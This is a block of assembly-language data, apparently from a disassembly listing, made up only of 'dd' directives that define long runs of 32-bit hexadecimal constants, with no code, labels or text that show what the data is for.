		dd 38C18D2Eh, 630B749Ch, 51E0A7Eh, 0FC982FF2h, 0C2A9280Dh
		dd 4650528h, 0CCFFD5A8h, 0E34863F4h, 2578004h, 0E312F54h
		dd 7222B7A8h, 7DACA100h, 0FC7B6466h, 0C52C5F3Ch, 0D5003033h
		dd 0FB4DCDE6h, 0CB005615h, 0A378EE0h, 31C6DD07h, 94680F3Fh
		dd 0D84313AFh, 0EC6F383Bh, 0D5C1001Ch, 85C0EBAEh, 3200FB88h
		dd 5E0E425Bh, 17114E0h,	0FA7E31CBh, 0F963C6C4h,	1382DE5h
		dd 0B0A31B32h, 7CF01233h, 1D3E8ABh, 13E25957h, 0FC0FC0A1h
		dd 1F3DD994h, 0C4434E5Dh, 0B1542882h, 51D05BE1h, 805C91E6h
		dd 2416DF14h, 0AB02B5F6h, 7E6D7F1Dh, 0FD00E195h, 26007073h
		dd 0F43EFFF2h, 180F8E5Eh, 6E659C48h, 0ADD4C0BDh, 0FC93B83Ah
		dd 0F85701D6h, 0D0F0CEEh, 4F3C6495h, 71F71A0Fh,	5B45A0C5h
		dd 141C3B19h, 0E0315FD0h, 3E208FC0h, 2E00D916h,	0E8B97FF9h
		dd 0E62DF642h, 0C734247Bh, 226C003Dh, 1F0BFF13h, 83ACDF48h
		dd 0E8FEB337h, 174EB8F6h, 90E1C084h, 6D09D9FCh,	31C57300h
		dd 0E3DDE924h, 0D2A51CE0h, 26A640AAh, 0B6E8FB28h, 35360C00h
		dd 7D81C72Bh, 8388940Dh, 0A134AFB4h, 25BCB5E0h,	0F6F49E3Bh
		dd 0B88D9100h, 7FA64F0Bh, 3ABD00A4h, 32DDA3F0h,	5F7BC690h
		dd 75CC020Ch, 4CDA97Eh,	7959EEF2h, 62EFC0B3h, 0D0057E1h
		dd 48BEE3FCh, 916A3Ch, 2CC9AD76h, 0CBE1A045h, 0D7FAC9C3h
		dd 0A2B4835Bh, 86665h, 64AF2220h, 804814EAh, 0E1013B02h
		dd 604193C9h, 25692330h, 2820E231h, 64941D34h, 0C682C81Ch
		dd 18509F40h, 2832E1A2h, 22CE37Bh, 0D91B54FAh, 0BEE0F2A6h
		dd 7C0198E7h, 83AB047Eh, 546DDAAEh, 68298D00h, 0CC3AD170h
		dd 0E804537Fh, 0B9AB20EAh, 90379940h, 72039B29h, 2BD7E61Dh
		dd 12CCB8B6h, 0B4E490FBh, 54F860CCh, 7D0B6FCDh,	0D52949h
		dd 91BD19F0h, 0C4E14897h, 0A272480h, 6917CA4Dh,	548C4353h
		dd 20E94A99h, 0FD2DAE0h, 817FF438h, 2B636008h, 0B8609414h
		dd 35398845h, 1984AB19h, 0C314B448h, 80001DACh,	830C413Dh
		dd 176C73CBh, 200D5F4Fh, 0E7D39F0h, 217ED00h, 4520E469h
		dd 75F72CDFh, 0C61E405Ch, 0AD606BE9h, 0AB5B04E0h, 8EA8B9D5h
		dd 52608F70h, 0B8CC4765h, 0B3622400h, 0FA192D16h, 29AC6075h
		dd 12849268h, 951A8C00h, 9B39236Dh, 61FC004Bh, 176F08B3h
		dd 0A49EDF20h, 0BD0AE80h, 9D79A05h, 74DEE599h, 3410CC18h
		dd 0AD5FED04h, 0D8C17606h, 8C38C2A6h, 0B56280DCh, 0E868240h
		dd 0D4807C9Ch, 0C7FE64A8h, 0D7172446h, 8BA11FE7h, 0F41012EBh
		dd 5B0E0A88h, 0F7964F3h, 8424053h, 0F77B2Bh, 9EEBE1ABh
		dd 88644B58h, 20A74512h, 0AC303C24h, 7AEBB7Eh, 68D31889h
		dd 625E3095h, 8500D482h, 0C1EBDA7Dh, 7C0E7EC9h,	0BD1E2654h
		dd 273C11F8h, 4F04A00Dh, 984BF56h, 3194A9CDh, 0E980CE01h
		dd 5CCBE81Bh, 0A111A20Eh, 5F31B86Eh, 81C0B135h,	0E2B7F254h
		dd 0A1FC1003h, 0A0600BCh, 90428508h, 513FB1B2h,	0A7B586B4h
		dd 0B149F3A2h, 0F51880BCh, 0E7140F23h, 0DCFBFE05h, 0EFC38DCCh
		dd 1C69775Ah, 0C0713437h, 4E27E9DBh, 921670CDh,	0CC006A5Bh
		dd 0E79723C0h, 0D44C508Eh, 167C78D7h, 7A02A9Eh,	5CF02Fh
		dd 0DDC29A59h, 47638305h, 0E0B068E7h, 0A7FB09D7h, 0B4102B5Fh
		dd 5C00E4A3h, 199D8D3Ch, 39D0B61Bh, 0F89F8FC6h,	154A405h
		dd 0FECC43B3h, 0DBD7F0BDh, 12CB73Ch, 0DF6CABF9h, 18205426h
		dd 5FD688C8h, 38C584B0h, 0CCE4E199h, 3C1A3E2Bh,	0B0133080h
		dd 65BD762Fh, 82CD8C39h, 75E91633h, 5E9F22A2h, 0C4C58E80h
		dd 0C700766Bh, 0D0D8ECFEh, 6928409Bh, 0B080802Dh, 73571F0Ch
		dd 801C9448h, 6CA24070h, 0EF7B003Ah, 4B979BB2h,	0F603B3CFh
		dd 75C69377h, 6972A5h, 0E7CD5614h, 94AB39C0h, 818C3003h
		dd 903DD84Ch, 0A2FC9AEh, 46F42A28h, 0B033C80h, 0A4CA01D1h
		dd 0D02E22E8h, 1200F898h, 0EE14556Dh, 2D255715h, 242FB3A1h
		dd 0EB8A4940h, 0CA139790h, 7488E099h, 0D0470007h, 0FE93CBCh
		dd 3BB0A3E5h, 0EED5816h, 3E3DC90h, 0BEBC1260h, 305716F0h
		dd 0CBE711C8h, 0EC183Dh, 6C22C212h, 0E82C94F8h,	2BF00014h
		dd 0B3506EAAh, 0C400605Bh, 41700EFEh, 0F1489Ah,	2F723249h
		dd 0E2FBFC06h, 83B63600h, 0F9B21CB4h, 80EB00C2h, 0CA4FE0A6h
		dd 410191E6h, 0AA71031Fh, 0EFE0EC19h, 530E0CA9h, 29186317h
		dd 42E1CB01h, 0D68D6141h, 0AC256080h, 0A2FC74A7h, 37BF2900h
		dd 5B0DF92h, 0E86503CBh, 8B6017Eh, 0B72680ACh, 762ED0E7h
		dd 53002212h, 7FCBA624h, 0C28D30FCh, 0A3F59951h, 48D8B630h
		dd 127F024h, 7C17B42Ch,	80FF8DAAh, 2873AD29h, 16447F4h
		dd 2E4B554Fh, 0C0C430C2h, 0CF0097F1h, 0A8EEB0C8h, 0A610AAh
		dd 3617CEBh, 2BBD277Fh,	0A2006870h, 0EA89CCBFh,	0C8CDA0h
		dd 7DF9E0B6h, 62CA1808h, 2FF168C1h, 0B060A1ECh,	5C4D3D7Fh
		dd 467A007Dh, 9F331742h, 0A0302C90h, 6C9299FCh,	6F961D0Bh
		dd 0C9183F50h
		dd 87DA49FDh, 544AF700h, 7E3FE460h, 0B7FB05B6h,	1D26F47Ah
		dd 0EA8880D8h, 68461264h, 47674E00h, 0FA93A238h, 0D5B20EDBh
		dd 25E1E1ECh, 47EEBDBBh, 0AC49818Ch, 4481869Bh,	3771617Dh
		dd 0C008297Ah, 0C1EAB538h, 602B5500h, 4C5D03A6h, 0E157381h
		dd 9880F74Ah, 8300B894h, 0CBEF61Ch, 3A6031BBh, 0B4895141h
		dd 63FB0562h, 7CFD3A6h,	4E2D24A4h, 0AA4E2B60h, 79C053F4h
		dd 0E627089Eh, 61D21C44h, 1E39129Bh, 1DCFC120h,	80267A84h
		dd 5D8E3259h, 262B8h, 41A8F0Eh,	0E744E285h, 31405900h
		dd 2C3971AAh, 0AF0F1FBEh, 9E397099h, 0FC00C6ABh, 5940733Dh
		dd 0E4850D1h, 0D3C38531h, 1827619Ah, 0B9C8B037h, 501F52Ch
		dd 0EE04FB7Eh, 0DEF8867Fh, 0B33C14C9h, 0C682C47Bh, 3AC0439Ah
		dd 5C756B65h, 7656AF07h, 0D1C0BAA6h, 7DE602h, 39736877h
		dd 0FB4A589Ah, 94EAD73Dh, 40F5D2h, 0A3BADB09h, 36FFC0Fh
		dd 3A0242Ah, 0DE8052D2h, 443D8378h, 6EB7805Ch, 8E73B18Ah
		dd 0E2492D7h, 1C55CF28h, 2A18260h, 0E4008067h, 5135FF0h
		dd 5E3E8Bh, 0D114E5BFh,	4C70819Ah, 4A0D9209h, 0AE100080h
		dd 918D11C5h, 93C0004Ch, 42B6693Fh, 527B0301h, 5344706Bh
		dd 0D7F12181h, 80FEBC23h, 9B247211h, 507E9F7Bh,	73FF812h
		dd 0A2266C68h, 80AC6A9Ah, 0FF74E50Dh, 12001D10h, 85468A9Eh
		dd 5A401Ch, 3CD4C937h, 0ECACB3A2h, 5BA6C801h, 69DFF49Bh
		dd 4DD8D2D1h, 57C402F0h, 20793375h, 0B4B9CA0h, 0A400564Ch
		dd 0A751E886h, 0A4D2C387h, 0EC1C90ACh, 0A5F50065h, 0FFB3B419h
		dd 0B2004181h, 0E35F598Dh, 609AC936h, 0F8DB3033h, 0F50201ADh
		dd 7919E68h, 0B608799h,	9719A930h, 2D7875h, 0C33B98DBh
		dd 4E6C0153h, 0F19DF900h, 0C006A6DCh, 8ABD0FC9h, 19003BB4h
		dd 98E239F4h, 9C53C426h, 0BAFC1787h, 0E3C6F381h, 7D2032h
		dd 985794ADh, 8D9970F0h, 0C889A505h, 0FD003A28h, 39D462A0h
		dd 0B90100E8h, 0A6E6C4DBh, 0FC123314h, 0CC00DD93h, 0E3491F8h
		dd 5A589Fh, 0D4ACC215h,	6944C918h, 340F5E1Eh, 0C084470Fh
		dd 0D342B8FAh, 5674005Ah, 32582F2Dh, 0B27B91C0h, 41A08F30h
		dd 0B06C5709h, 33800030h, 3761F417h, 45F6A6DAh,	0FB9E4891h
		dd 0A4CD8203h, 0AFDF98ACh, 7C8101EBh, 81DD36Bh,	0F5BCCC93h
		dd 0EC112400h, 9BC48925h, 5153304Bh, 2FBD50A1h,	9888BCA8h
		dd 8A04104h, 0D1C0D29Eh, 0F769B38h, 0B046CCA1h,	7760FD80h
		dd 81C02A44h, 0DB6FA9F1h, 1C40065h, 0D6039C85h,	680328A7h
		dd 0B277443Fh, 2EB8D8B0h, 7FD90E15h, 3078F213h,	7C00C6FAh
		dd 0DE300424h, 30611490h, 295959C9h, 7A00BCF6h,	36BFEA07h
		dd 0F7D8FAAh, 87B95910h, 9906C9A0h, 48B0A986h, 8B5A2805h
		dd 0BC20CA07h, 4FD28Eh,	0EDB7A636h, 6FEA90BFh, 4CE48500h
		dd 0D97BFE6Ah, 0A99F0407h, 40C5AF22h, 83EA0C3Ah, 0AAC902D7h
		dd 3B7A9F14h, 0B42D7048h, 0D171B801h, 57FAE1CCh, 24BC020h
		dd 1F70520Eh, 0EC44AE23h, 0E6187898h, 0D311758Eh, 7B051FF3h
		dd 201C8094h, 0E9A183B4h, 1DC4C01h, 5CD78882h, 788091D9h
		dd 0C8DF9EB2h, 0C61E0CA7h, 371DACA6h, 4AA91F40h, 49464412h
		dd 0F400A47Eh, 0AEE7B008h, 0AAF6C30Ch, 6C3CC426h, 7003B307h
		dd 0D550CC00h, 3B0C2455h, 18F006F0h, 0A13A6063h, 33C90B67h
		dd 3AB400CCh, 49A350B2h, 0E0600838h, 0C922BE08h, 2DA64818h
		dd 600C4419h, 4303818Ah, 38DEBA9Eh, 0F9670022h,	7FFB56D2h
		dd 441B4E42h, 0EA318B71h, 80E4C198h, 7231180h, 0F5E678B7h
		dd 909CFA37h, 0EE7A8A83h, 0AE6E0751h, 0BEDDB687h, 0D78D6540h
		dd 450136ECh, 233477E8h, 0D8639186h, 2A419000h,	42974433h
		dd 1F9F7800h, 0FA38B987h, 34EA006Dh, 1BB25545h,	0D82CD0A6h
		dd 130098C2h, 58D27FB0h, 2A7204ADh, 888E1E0Fh, 673BCBC8h
		dd 0FF1CF948h, 2F40209Ah, 0BC507A1Ch, 9E85005Bh, 720EABC4h
		dd 65486B30h, 0BA60FE8h, 0FE380E4h, 0F218B853h,	0D4C500E9h
		dd 2D298C6h, 6D08E15Eh,	80FB8E66h, 5C30EB21h, 22186A1Bh
		dd 0CA19D4CBh, 6C924Fh,	0D202AF2Ah, 0AA19E2D7h,	1DAC8E4Bh
		dd 5ECBC103h, 3C80EE43h, 0CC9A67CAh, 0C4706500h, 9D6B7975h
		dd 49FC62C9h, 9AC0BBE8h, 7005B561h, 1729BFD0h, 0B1283447h
		dd 0AB6DEFB1h, 603430h,	175F6356h, 107C85A3h, 38108148h
		dd 0D3708211h, 125217Dh, 0BAF21799h, 18980B8h, 42336A30h
		dd 64C8031Fh, 0C3F5A09Eh, 47A5F080h, 0E3294FB0h, 0BF80E0EAh
		dd 75F3B71Eh, 0B0600005h, 0E978067Eh, 0E705E445h, 8E9530B8h
		dd 2041A209h, 2A7CE38h,	0C25F03DEh, 52935138h, 848776E0h
		dd 6C2C8F04h, 0C0A22A03h, 813D9C00h, 9761DAB3h,	58DFD400h
		dd 468C1E1Fh, 8EEA253Ch, 79517C20h, 6A78FECFh, 84EF0B07h
		dd 6D81B02Ah, 145041DCh, 6758DCAh, 9A6C08E9h, 0BA07694Ah
		dd 5EDB47DCh, 19862BD0h, 0A49C00A9h, 3995ED0Ch,	5026D6A8h
		dd 0A042C0ACh, 0E3C8C1E7h, 0E89C63CEh, 5CC6FFDFh, 0BB03B826h
		dd 9A304286h, 0C26940B4h, 0B0CB037Dh, 8E3700E0h, 0DCB7B2F9h
		dd 64B830BEh, 1442542Eh, 74337103h, 2B09A0D9h, 0DFAB0075h
		dd 0B2B9F4B7h, 46EA9FE8h, 86C0FCA8h, 16AE3500h,	0E7BA3EA8h
		dd 0DAE00081h, 3451A7E1h, 0B271D236h, 15B14400h, 0DBD5AAEEh
		dd 0E891F6h, 6F0738E0h,	0FA24419Eh, 444038F4h, 777D37FEh
		dd 0D19200C6h, 39A1DBB3h, 0A42E540Bh, 0B40274BDh, 40FF7C3Ch
		dd 2CA13A4h, 2CA16CE2h,	0B4A08ABAh, 0A509F855h,	4B0119FEh
		dd 0E2C9BEA3h, 0FC32F6B3h, 1C0A3300h, 5067E470h, 94D30F00h
		dd 6D1F2E7Dh, 909FEA1Eh, 1CC3257Eh, 0BB24A421h,	0D0CD3175h
		dd 1890808Dh, 0CCACB47Ch, 0B480600h, 0A17770E6h, 4F890EFh
		dd 2E31970Eh, 0FF78889Ah, 0B3980B01h, 1DDC853Ah, 9B41D0h
		dd 5A11A625h, 0D219A0ECh, 6728E102h, 0C188D9ACh, 0A021F984h
		dd 1A0E0FC0h, 282DCD53h, 0F3008046h, 0BDF69F64h, 0A0CF9C3Fh
		dd 713E69A5h, 8F880016h, 937ABB20h, 3CB9EAD6h, 0AEC1FA87h
		dd 0B82A13D3h, 9415B9h,	33BCBAC5h, 0FE569D7Ch, 37924D05h
		dd 0CCCC6EBDh, 5DF90003h, 26ABD899h, 0A70A7294h, 987BCC77h
		dd 0DDF31340h, 4AC403EAh, 0EEB1D591h, 98D084D0h, 3FFEA018h
		dd 0B06C2329h, 1012E22Ch, 81BE5088h, 10ABF6A5h,	4C59E070h
		dd 400524B0h, 8890C12Ch, 0A86B1BA0h, 646C9031h,	0C67A0793h
		dd 8FA386E1h, 0D488D7C0h, 0D00189CAh, 977B4D46h, 0FC709E2Eh
		dd 0C1A21279h, 1898302Ah, 1E00E4E9h, 0D07B71F0h, 3B921641h
		dd 75AA35EBh, 0B6DF0580h, 0C6509F0Ch, 8526393Bh, 3D40A8C9h
		dd 23ACFBAh, 3903135Ch,	2BE0F0B0h, 0F9D6457Bh, 26C29000h
		dd 7828BCB9h, 13E0D302h, 0B141C28h, 0E800AB80h,	0D2908156h
		dd 0FC00A0E0h, 9C867EF4h, 6B28B0Bh, 0AA106D3Fh,	27448861h
		dd 0F28B98Dh, 0F520E10Bh, 0C6BFDC92h, 0A18BA204h, 81EE07C1h
		dd 0D8FA15B7h, 13F69903h, 0F250498h, 30BCA306h,	7211F85Ah
		dd 0B2430029h, 0E49E923Bh, 0D81DC8A6h, 0D2C087EAh, 470D7A4Bh
		dd 0F1EDC0Bh, 24007B68h, 31639CBEh, 52F12F60h, 17DE6FAh
		dd 2D184414h, 0FC02E8D6h, 82EEBA57h, 0B0AD2C2Eh, 23A33940h
		dd 0A04B3E65h, 0CA628h,	0DB10A997h, 47115455h, 90B813Ch
		dd 984BC1A0h, 2D4CEFDCh, 95DEADD2h, 0A600B01Dh,	0CD1AE12Ch
		dd 8E521856h, 6D9251FDh, 94610B01h, 8F2D767Fh, 2E2A1DE8h
		dd 397DF68h, 35E81B08h
		dd 317CC8FCh, 0FED13E67h, 0ECC9E9A1h, 30D72C70h, 7B814C9Ah
		dd 0F7000872h, 59F0D1F8h, 77C0FD2h, 660DDADDh, 5B630085h
		dd 725C4BAAh, 67D89878h, 741C30D3h, 7C9CA061h, 8DF2081Fh
		dd 8AEAB1F0h, 2114056Bh, 8CF74D0Bh, 561E84D4h, 7F8069A5h
		dd 0AADFB91Ch, 1920E43h, 5C616B1Dh, 9AFABC2Ch, 20709149h
		dd 0C990832Ch, 51205AFh, 0D06F4C2Dh, 89BCEC7Ch,	0D0E2A500h
		dd 3E6AF6B0h, 0D27C09DAh, 0E8643CC6h, 900ACB06h, 151A880h
		dd 0A912B86Eh, 0E85058F9h, 88620E71h, 2F3FD2E0h, 0C491B020h
		dd 710085AAh, 0CD473804h, 0B98D0B9Dh, 10350B68h, 91D4A5Eh
		dd 0A0D77CC0h, 587FED71h, 96021C70h, 0E389EE08h, 947C085Ah
		dd 1CED5000h, 0DBEB98CAh, 24B000EEh, 0BD858DC2h, 670093F4h
		dd 0D4DCA288h, 6D265h, 0A6A975C8h, 443191F3h, 0D6ADA1C0h
		dd 856B2h, 9AD29CD8h, 0EC179327h, 7930C513h, 0B282D0D0h
		dd 0F97F4Ch, 0FC2B99ABh, 7DB6DDEAh, 921B5001h, 0C72D0FA7h
		dd 9DB2820h, 2A35D3CAh,	3480CC4Ah, 0C845F3F5h, 69CFE3Ch
		dd 48F4A8A6h, 0D3B500D1h, 0D73E2D0h, 0F3009D0Fh, 18C1543Bh
		dd 67F4860Ch, 943C499Bh, 9353C142h, 54ACD0B8h, 13D67407h
		dd 80673AB5h, 0B132D430h, 80D09498h, 366B6DDAh,	0A8280AB4h
		dd 0FF22D075h, 14995038h, 9C8D0135h, 0E34DF804h, 88C0203Ch
		dd 18A0253Dh, 97312D7Ah, 0E1F4002Ah, 1DD6BD0Dh,	0A4FC6813h
		dd 95B12F1Fh, 3A5B6440h, 60EFB2E9h, 0E1A8F86Fh,	9D28124Eh
		dd 0BA0564C9h, 6EECB324h, 36FA81FAh, 2BA5D016h,	93FA3F00h
		dd 0C38653E7h, 52C991Ah, 0D4F8AE23h, 718A2B0h, 0C673E0B2h
		dd 0C321277h, 0C0DCC08Ah, 29E5FA63h, 3E07BE6h, 98F2115h
		dd 0AAA0A1F3h, 17006D93h, 262B693Bh, 2ED83E9h, 5FFA6B1Eh
		dd 0ECE0C60Dh, 6E05B5F6h, 68B62603h, 402023C5h,	0EECAD687h
		dd 339D00D4h, 687DAE84h, 36059528h, 0EA6D4FAAh,	2805E885h
		dd 5CC2E2BDh, 0B27FC0B4h, 30351B0Ah, 5EF09925h,	8F005C32h
		dd 89564F15h, 978E12h, 1FA6A120h, 94F99CE6h, 9E5C9B58h
		dd 20DDF5C0h, 0F9D29F19h, 0B894A3C0h, 72FC448Ch, 6B5D3100h
		dd 446EFBC6h, 0F119C57Bh, 0C140C0A1h, 0B8020F1Ah, 8C139F1Bh
		dd 4CF8C4C8h, 24035875h, 0D8F5F026h, 0E2A6C204h, 4CB2122Fh
		dd 0A729910Ah, 22CC20D3h, 701E8AA0h, 0B1C0B234h, 0B7FA250h
		dd 4F44F422h, 7AB44646h, 5800F92Ch, 8A63FC56h, 0B843BDFh
		dd 349A8D08h, 0D411D018h, 0B0E7D202h, 0DB20C4A0h, 910A8018h
		dd 148930E3h, 269D4502h, 6620794Eh, 0C3C6002Ch,	5E4B2A58h
		dd 11001097h, 14991C3Fh, 3C3C7638h, 4488C9BCh, 2E83522Ah
		dd 888ED0h, 4E0BFB41h, 14383E4Bh, 0C547B809h, 488801E8h
		dd 898933A3h, 9468E388h, 65031203h, 833EFC16h, 8678A8FDh
		dd 49D82626h, 70771506h, 53675001h, 3099A596h, 26039008h
		dd 6F7D737Ah, 5634D0C9h, 85120553h, 3322B29Ch, 302692F0h
		dd 6901ACFDh, 22FFC39Dh, 44129050h, 2F8A445h, 0AA5CB3DFh
		dd 4C5298B2h, 9D161100h, 0F02AE9A7h, 91660979h,	7CE42C3Fh
		dd 9C73905h, 6A80B218h,	0B704A64h, 105C444Eh, 0B0E8E484h
		dd 0D015C34Ch, 22CC26EDh, 7920004Bh, 2FB4184Eh,	0FB07B32Dh
		dd 0A180C288h, 0C6BCA040h, 0DD642E19h, 99D2017Ch, 2279137Dh
		dd 0ED035E0Ch, 8852C5F2h, 32AB0A4h, 70090DE3h, 0D90045C9h
		dd 0B43405E0h, 0F21D8Ah, 2FD4C72Ah, 14B75ECBh, 2CB60101h
		dd 0ACC991FEh, 40889CF3h, 103900B5h, 0D44FC2EEh, 5000EC4Bh
		dd 0AE224A88h, 12A2832Ah, 4E76C2Ch, 40A797A8h, 44E0C49Bh
		dd 49506E0Ch, 890A59Fh,	9CB4483Bh, 84E39742h, 0C0A29090h
		dd 0B23D9E00h, 7611EE36h, 0B346DA00h, 8B0750B9h, 0DCD30772h
		dd 4C43170h, 0F24E2E4h,	0C7F41123h, 11EF50A8h, 1F7F7300h
		dd 0DE3A1CD7h, 244BFE3Ch, 0C982E074h, 40905AE3h, 91F48710h
		dd 0A2CB00ECh, 0DCA3A0ECh, 0C349C612h, 8A760830h, 88420E9Fh
		dd 60E04CE4h, 87E9A412h, 0BC217F2Eh, 7C883F16h,	797D02h
		dd 5875E38Bh, 720E0142h, 0F0DE390Eh, 5609C3h, 0D4146C14h
		dd 0A2EEE0D6h, 48500A9Ch, 0F318CF0Ah, 0D5B46003h, 3F30027Fh
		dd 0BAB7E61h, 0C89C30E0h, 0ECA01100h, 4C83F9D3h, 0C08D5CAAh
		dd 0B02284Ch, 8E2B153Ah, 1E8F3454h, 521DA108h, 38C412FEh
		dd 22C0B0CBh, 9902757Fh, 4F3290A0h, 3C5AC4h, 0B7395444h
		dd 3AE89359h, 992388C4h, 1EA9F4A4h, 4F1B7B77h, 8B809512h
		dd 2C024875h, 7820C14Ah, 0C568BBh, 76ED1B07h, 0A4A68901h
		dd 0DF0DCB00h, 9ABFF2BDh, 942B4C95h, 9B1EC522h,	0D99952D2h
		dd 3FED8FD0h, 84806C2Ch, 0CE4A0821h, 29BB9B1Dh,	999D0700h
		dd 3A9E3h, 7827FD22h, 8544BF7h,	0EEA61000h, 3844CC53h
		dd 50F1C599h, 217420B9h, 917CB5C0h, 1923BF35h, 88602CE3h
		dd 10B160FCh, 39987F5Dh, 23290BF2h, 0FE886497h,	926C2E89h
		dd 117663A0h, 989A8CD8h, 24290C00h, 697DC1A0h, 1177AA6h
		dd 0C9480E75h, 0BE704906h, 0CA03012Ch, 0C8CCA020h, 978AB02Eh
		dd 240F357Bh, 727D45D3h, 219DF420h, 19CD09BFh, 0C080B7F6h
		dd 0C17DF80Ah, 94397CE8h, 0BBE998E4h, 17A15C0h,	7F03686Ch
		dd 798FEA4Ah, 187D008Ch, 814E1FE6h, 0FF9100C7h,	3EB416Bh
		dd 58147301h, 56D061F6h, 753870F8h, 7BFF0865h, 13A1199h
		dd 316EA1BBh, 9CC06310h, 4D2305DCh, 0CCA261F8h,	70000494h
		dd 33969A3Ah, 13A79BD3h, 2B5384Fh, 527CF438h, 0D1409456h
		dd 0FA0107h, 9B537F06h,	6C142FCBh, 0FFC49903h, 0E883250Eh
		dd 7450D0A5h, 2EE20512h, 5FC885F7h, 78054F38h, 5FE02A0Eh
		dd 0FA8D4EF5h, 8EBF201Eh, 0D00014AAh, 6164C987h, 588A71h
		dd 1D9BED21h, 0CDE77505h, 0EBA61B01h, 7A5E013Eh, 0DCE5AC40h
		dd 22992D73h, 0AF6B9820h, 0CE0353BEh, 2A34E944h, 0C697FAA9h
		dd 92B2C50h, 0F2BC60C4h, 7100D59Eh, 805B39FCh, 13DBF74Ch
		dd 235A915h, 8D313295h,	0C900B0DAh, 4F3D9910h, 17CE913h
		dd 0BCA7B3BDh, 2050AD04h, 0F70BE720h, 0FA089D3h, 0C409D15Ch
		dd 8CC4FD58h, 0A053D900h, 0DB99B0DCh, 64F10719h, 609D85E3h
		dd 3E229AE9h, 9EC68000h, 700FEEC4h, 0EFBF1E4Ah,	89E702BCh
		dd 9240D135h, 2A73AF7Eh, 4A09827Ch, 81F77103h, 0EC1CA0F1h
		dd 849A8064h, 2C4A680Eh, 0A18B601Eh, 5FD0B61h, 0ED99F7AEh
		dd 16C0C07Eh, 0DB002A72h, 7DE43139h, 0B998A9A0h, 5D44000Ch
		dd 9F11FF9Eh, 5C81370Fh, 13099Ch, 44E6C490h, 8B409E72h
		dd 0C12A050h, 79051870h, 0B6A73A14h, 8FCB3881h,	0F22142F0h
		dd 19492F8h, 0DC5253E6h, 6D7AAB76h, 366D07D4h, 275054E8h
		dd 0F08F03CCh, 122E0052h, 3B317CDBh, 0C201B3BEh, 0EC71D7B0h
		dd 4C386FCBh, 0C41E1F80h, 82F4778Ah, 1943D000h,	1427721Ch
		dd 0AD0B2C16h, 90122DB1h, 11018C52h, 75EBABC1h,	0C980209Ah
		dd 0D0525CFCh, 5534868Ch, 548CF054h, 7314AC9h, 167A47A5h
		dd 32CC128h, 2D00DB87h,	0EB5495E9h, 59550082h, 0C16056BCh
		dd 226A01Bh, 230114C7h,	9EF3A70Dh, 2590CDC0h, 0C8241AC3h
		dd 0BE90C899h, 0F4F59AFAh, 650FE1Dh, 0D4015C0Ch, 9FF966E0h
		dd 0E420BF48h, 0C084952Ah, 1770C023h, 86607383h, 71E57860h
		dd 7E34007Bh, 472BA562h, 602C4E6Ah, 903C48D3h, 9853FC91h
		dd 0A0E2B207h, 17894065h, 0B30018CBh, 74164F92h, 50E497DEh
		dd 137FD277h, 908EDC6Ch
		dd 899AA6F8h, 0BFA22B00h, 928739BAh, 10AF16B7h,	90B00AA8h
		dd 0A8523C91h, 20319117h, 758E2ABCh, 27194B00h,	9C677C6Bh
		dd 55B60912h, 8C70D671h, 0B1B3CC02h, 52317DA9h,	926A00C8h
		dd 8F411635h, 0DC00612Ch, 13A1C85Ch, 488A1BA6h,	3C50D350h
		dd 245E06EEh, 81D38D12h, 1ABE6E00h, 0F95BD72Eh,	69DB00C1h
		dd 98CFE23Bh, 3F05A7D0h, 0D3A0381Bh, 0F2F53840h, 160A29h
		dd 61EDE78Bh, 0F8D2180Fh, 0FF334C02h, 0EE6B6714h, 94B22DD0h
		dd 62407C00h, 2A359185h, 0A0080811h, 11A0A62Dh,	59031E8Ah
		dd 0B420F4D2h, 34BBBB9h, 89E67330h, 0A680E739h,	5DE2D7C3h
		dd 5821445Fh, 0EF2161D5h, 8B288740h, 9BE00062h,	21BBEFAAh
		dd 0D212D95Dh, 4809BAD0h, 0D1C1h, 611A0FCBh, 53002FD7h
		dd 9C4B3183h, 426F2F3h,	571FCF52h, 218080ACh, 0E0E2A094h
		dd 31C7C311h, 0C9359918h, 0A005B08h, 6C3BF7B8h,	1CCA74AFh
		dd 4068BEEDh, 7113C950h, 0FD26E455h, 0CB08DCADh, 0B9B80C5h
		dd 58C3E36Ch, 0C9850913h, 0F7918A4h, 0EE234DD8h, 0FB13CEE0h
		dd 0AE608E1Dh, 0B76AB639h, 0CC641E7Fh, 0E2FFC0C5h, 8DD98136h
		dd 96760A1Ch, 97EB0D01h, 1EE8B3A5h, 0A7DB00A2h,	4816313Ch
		dd 1B00B2A6h, 0A0EE2750h, 2DF9919Fh, 5C238E28h,	21E851DCh
		dd 27246637h, 0B2007CE9h, 1D7948FFh, 43C94FA4h,	7EE42608h
		dd 4D78FB90h, 7D397200h, 0A6D5CFF5h, 0C4C308F8h, 902738D4h
		dd 2E5B37E4h, 0B4E8ADh,	435C466h, 0BA000D0Bh, 0F187DE57h
		dd 907F199Bh, 0D0432620h, 701C3C6Ch, 0A4930225h, 97C0D9C6h
		dd 6E01A2BAh, 0BC5C4461h, 403B8E2Ch, 7D8B05C0h,	90F40389h
		dd 443CD326h, 0FAC6D702h, 0FCE498h, 2247D02Eh, 60BA99A4h
		dd 4CDA4500h, 5618FEE1h, 6123050Fh, 0F2853449h,	0BA0900D0h
		dd 6A6EC7ECh, 3822013Ch, 576F5EC0h, 0E498D0DCh,	9CD40601h
		dd 14B4232Ah, 33E702Ch,	83E034A9h, 4170CCA9h, 0CE40F5F8h
		dd 8A0EF100h, 6BDA18AAh, 2AA70C57h, 9EA92E9Ah, 1D361900h
		dd 0A6C75FD9h, 508416E0h, 858020BFh, 0A0B6F5C3h, 0D1E3B180h
		dd 90AB8B2Ch, 3DA722B8h, 80D08D5Ch, 0E64FD3F4h,	5F4E0036h
		dd 0B804E270h, 0AE035B6Ah, 6040019Ch, 2010E8E9h, 9CC9E04Fh
		dd 24B83B8h, 0BFE89C35h, 3100E3BEh, 3C192A18h, 21BA0C9h
		dd 0C1B099D1h, 0BCC1DFD3h, 8704DC66h, 3EFA505h,	54B4D0C3h
		dd 65D42C6Fh, 208D13F0h, 0AC8EF5A8h, 0E98FD00h,	13D96476h
		dd 61C709B3h, 84AC450h,	0E01908C0h, 2E834417h, 904C5088h
		dd 12DC004Eh, 662DB68Bh, 1100DDB3h, 0BD616927h,	4AA23BA0h
		dd 45CD09Bh, 540EF852h,	31AA736h, 98EFF66Eh, 121F7FAEh
		dd 90F4DB2Ch, 0A53A698Ch, 605C9700h, 6B56B61Dh,	0A394003Eh
		dd 0D3E3B04Bh, 9A200CD7h, 1C2C758Fh, 667028h, 0D29BDA9Eh
		dd 5215C4E2h, 803D31h, 551788B8h, 7BCB376h, 6FBAFA86h
